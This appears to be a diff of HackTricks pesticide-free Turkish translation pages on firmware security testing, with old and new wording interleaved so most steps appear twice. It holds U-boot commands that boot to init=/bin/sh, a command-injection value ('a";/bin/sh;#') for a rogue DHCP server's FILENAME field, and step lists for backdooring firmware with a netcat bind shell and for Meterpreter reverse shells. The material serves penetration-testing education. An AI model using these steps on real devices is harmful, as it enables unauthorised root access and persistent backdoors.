GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Aşağıdaki adımlar, cihaz başlangıç yapılandırmalarını ve U-boot gibi önyükleyicileri değiştirmek için önerilir:
Aygıt başlangıç yapılandırmalarını ve U-boot gibi bootloader'ları değiştirmek için aşağıdaki adımlar önerilmektedir:
1. **Önyükleyici'nin Yorumlayıcı Kabuğuna Erişin**:
- Önyükleme sırasında, önyükleyici'nin yorumlayıcı kabuğuna erişmek için "0", boşluk veya diğer belirlenmiş "sihirli kodları" basın.
1. **Bootloader'ın Yorumlayıcı Shell'ine Erişim**:
- Başlangıç sırasında "0", boşluk veya diğer tanımlanmış "sihirli kodlar"ı basarak bootloader'ın yorumlayıcı shell'ine erişin.
2. **Önyükleme Argümanlarını Değiştirin**:
- Aşağıdaki komutları çalıştırarak, önyükleme argümanlarına '`init=/bin/sh`' ekleyin ve bir kabuk komutunun yürütülmesine izin verin:
2. **Boot Argümanlarını Değiştirin**:
- Shell komutunun çalıştırılmasına izin vermek için boot argümanlarına '`init=/bin/sh`' eklemek için aşağıdaki komutları çalıştırın:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
@ -26,46 +27,47 @@ Aşağıdaki adımlar, cihaz başlangıç yapılandırmalarını ve U-boot gibi
#boot
%%%
3. **TFTP Sunucusunu Ayarlayın**:
3. **TFTP Sunucusu Kurun**:
- Yerel bir ağ üzerinden görüntüleri yüklemek için bir TFTP sunucusu yapılandırın:
%%%
#setenv ipaddr 192.168.2.2 #cihazın yerel IP'si
#setenv serverip 192.168.2.1 #TFTP sunucusu IP'si
#setenv serverip 192.168.2.1 #TFTP sunucu IP'si
#saveenv
#reset
#ping 192.168.2.1 #ağ erişimini kontrol edin
#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyanın yükleneceği adresi ve TFTP sunucusundaki görüntünün dosya adını alır
#ping 192.168.2.1 #ağ erişimini kontrol et
#tftp ${loadaddr} uImage-3.6.35 #loadaddr, dosyanın yükleneceği adresi ve TFTP sunucusundaki görüntü dosyasının adını alır
%%%
4. **`ubootwrite.py`'yi Kullanın**:
- Kök erişimi elde etmek için U-boot görüntüsünü yazmak ve değiştirilmiş bir yazılım yüklemek için `ubootwrite.py`'yi kullanın.
4. **`ubootwrite.py` Kullanımı**:
- Root erişimi kazanmak için U-boot görüntüsünü yazmak ve değiştirilmiş bir firmware yüklemek için `ubootwrite.py` kullanın.
5. **Hata Ayıklama Özelliklerini Kontrol Edin**:
- Ayrıntılı günlükleme, keyfi çekirdek yükleme veya güvenilmeyen kaynaklardan önyükleme gibi hata ayıklama özelliklerinin etkin olup olmadığını doğrulayın.
- Hata ayıklama özelliklerinin, ayrıntılı günlükleme, rastgele çekirdek yükleme veya güvenilmeyen kaynaklardan başlatma gibi etkin olup olmadığını doğrulayın.
6. **Dikkatli Donanım Müdahalesi**:
- Cihazın önyükleme sırasında, özellikle çekirdek sıkıştırılmadan önce, bir pini toprağa bağlamak ve SPI veya NAND flash yongalarıyla etkileşime geçmek konusunda dikkatli olun. Pinleri kısaltmadan önce NAND flash yongasının veri sayfasına bakın.
- Cihazın başlatma sırası sırasında bir pini toprağa bağlarken ve SPI veya NAND flash yongaları ile etkileşimde bulunurken dikkatli olun, özellikle çekirdek açılmadan önce. Pinleri kısaltmadan önce NAND flash yongasının veri sayfasını kontrol edin.
7. **Sahte DHCP Sunucusunu Yapılandırın**:
- Bir cihazın PXE önyükleme sırasında alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutlarıyla değiştirerek cihaz başlatma prosedürleri için giriş doğrulamasını test edin.
7. **Sahte DHCP Sunucusu Yapılandırın**:
- PXE başlatma sırasında bir cihazın alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutları ile değiştirerek cihaz başlangıç prosedürleri için giriş doğrulamasını test edin.
**Not**: Cihaz pimleriyle fiziksel etkileşimi içeren adımlar (*yıldızla işaretlenmiş) cihazın zarar görmesini önlemek için son derece dikkatli bir şekilde ele alınmalıdır.
**Not**: Cihaz pinleri ile fiziksel etkileşim içeren adımlar (*yıldız ile işaretlenmiş) cihazın zarar görmesini önlemek için son derece dikkatli bir şekilde yaklaşılmalıdır.
## Referanslar
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,58 +1,60 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
</details>
## Firmware Bütünlüğü
**Özel firmware ve/veya derlenmiş ikili dosyalar, bütünlük veya imza doğrulama açıklarını sömürmek için yüklenebilir**. Geri kapı bağlama kabuk derlemesi için aşağıdaki adımlar izlenebilir:
1. Firmware-mod-kit (FMK) kullanılarak firmware çıkarılabilir.
2. Hedef firmware mimarisi ve bit düzeni belirlenmelidir.
3. Buildroot veya diğer uygun yöntemler kullanılarak çapraz derleyici oluşturulabilir.
4. Geri kapı, çapraz derleyici kullanılarak derlenebilir.
5. Geri kapı, çıkarılan firmware'in /usr/bin dizinine kopyalanabilir.
6. Uygun QEMU ikili dosyası, çıkarılan firmware kök dosya sistemine kopyalanabilir.
7. Geri kapı, chroot ve QEMU kullanılarak emüle edilebilir.
8. Geri kapı, netcat aracılığıyla erişilebilir hale getirilebilir.
9. QEMU ikili dosyası, çıkarılan firmware kök dosya sisteminden kaldırılmalıdır.
10. Değiştirilmiş firmware, FMK kullanılarak yeniden paketlenebilir.
11. Geri kapılı firmware, firmware analiz aracı (FAT) ile emüle edilerek test edilebilir ve netcat kullanılarak hedef geri kapı IP ve portuna bağlanılabilir.
Eğer dinamik analiz, önyükleme yükleyicisi manipülasyonu veya donanım güvenlik testi yoluyla zaten kök kabuk elde edildiyse, implantlar veya ters kabuklar gibi önceden derlenmiş kötü amaçlı ikili dosyalar çalıştırılabilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları, aşağıdaki adımlar kullanılarak kullanılabilir:
1. Hedef firmware mimarisi ve bit düzeni belirlenmelidir.
2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'si, dinleme port numarası, dosya türü, mimari, platform ve çıktı dosyasını belirtmek için kullanılabilir.
3. Yük, etkilenen cihaza aktarılabilir ve yürütme izinlerine sahip olduğu doğrulanabilir.
4. Metasploit, gelen istekleri işlemek için msfconsole'yi başlatarak ve ayarları yüklemeye göre yapılandırarak gelen istekleri işlemek için hazırlanabilir.
5. Meterpreter ters kabuk, etkilenen cihazda çalıştırılabilir.
6. Açılan Meterpreter oturumları izlenebilir.
7. Saldırı sonrası faaliyetler gerçekleştirilebilir.
Mümkünse, başlangıç betiklerindeki zafiyetler, cihazın yeniden başlatmalar arasında sürekli erişim elde etmek için sömürülebilir. Bu zafiyetler, başlangıç betiklerinin, SD kartlarında ve kök dosya sistemleri dışında veri depolamak için kullanılan flash birimlerinde yer alan güvenilmeyen bağlanmış konumlarla ilişkili kodlara başvurduğunda ortaya çıkar.
## Referanslar
* Daha fazla bilgi için [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) adresini kontrol edin.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Firmware Integrity
**Özel firmware ve/veya derlenmiş ikili dosyalar, bütünlük veya imza doğrulama hatalarını istismar etmek için yüklenebilir.** Aşağıdaki adımlar arka kapı bind shell derlemesi için izlenebilir:
1. Firmware, firmware-mod-kit (FMK) kullanılarak çıkarılabilir.
2. Hedef firmware mimarisi ve endianlığı belirlenmelidir.
3. Ortam için Buildroot veya diğer uygun yöntemler kullanılarak bir çapraz derleyici oluşturulabilir.
4. Arka kapı, çapraz derleyici kullanılarak oluşturulabilir.
5. Arka kapı, çıkarılan firmware /usr/bin dizinine kopyalanabilir.
6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ye kopyalanabilir.
7. Arka kapı, chroot ve QEMU kullanılarak taklit edilebilir.
8. Arka kapıya netcat aracılığıyla erişilebilir.
9. QEMU ikili dosyası, çıkarılan firmware rootfs'den kaldırılmalıdır.
10. Değiştirilen firmware, FMK kullanılarak yeniden paketlenebilir.
11. Arka kapılı firmware, firmware analiz aracı (FAT) ile taklit edilerek ve hedef arka kapı IP'sine ve portuna netcat kullanarak bağlanarak test edilebilir.
Eğer dinamik analiz, önyükleyici manipülasyonu veya donanım güvenlik testi yoluyla bir root shell elde edilmişse, implantlar veya ters shell gibi önceden derlenmiş kötü niyetli ikili dosyalar çalıştırılabilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları aşağıdaki adımlar kullanılarak kullanılabilir:
1. Hedef firmware mimarisi ve endianlığı belirlenmelidir.
2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme port numarasını, dosya türünü, mimariyi, platformu ve çıktı dosyasını belirtmek için kullanılabilir.
3. Yük, ele geçirilmiş cihaza aktarılabilir ve yürütme izinlerinin olduğundan emin olunabilir.
4. Metasploit, msfconsole başlatarak ve ayarları yükleye göre yapılandırarak gelen istekleri işlemek için hazırlanabilir.
5. Meterpreter ters shell, ele geçirilmiş cihazda çalıştırılabilir.
6. Meterpreter oturumlarııldıkça izlenebilir.
7. İstismar sonrası faaliyetler gerçekleştirilebilir.
Mümkünse, başlangıç betiklerinde bulunan zafiyetler, yeniden başlatmalar arasında bir cihaza kalıcı erişim sağlamak için istismar edilebilir. Bu zafiyetler, başlangıç betiklerinin, güvenilmeyen montajlı konumlarda bulunan kodlara atıfta bulunması, [sembolik bağlantı](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) yapması veya bunlara bağımlı olması durumunda ortaya çıkar; bu konumlar, kök dosya sistemleri dışında veri depolamak için kullanılan SD kartlar ve flash hacimleri gibi yerlerdir.
## References
* For further information check [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more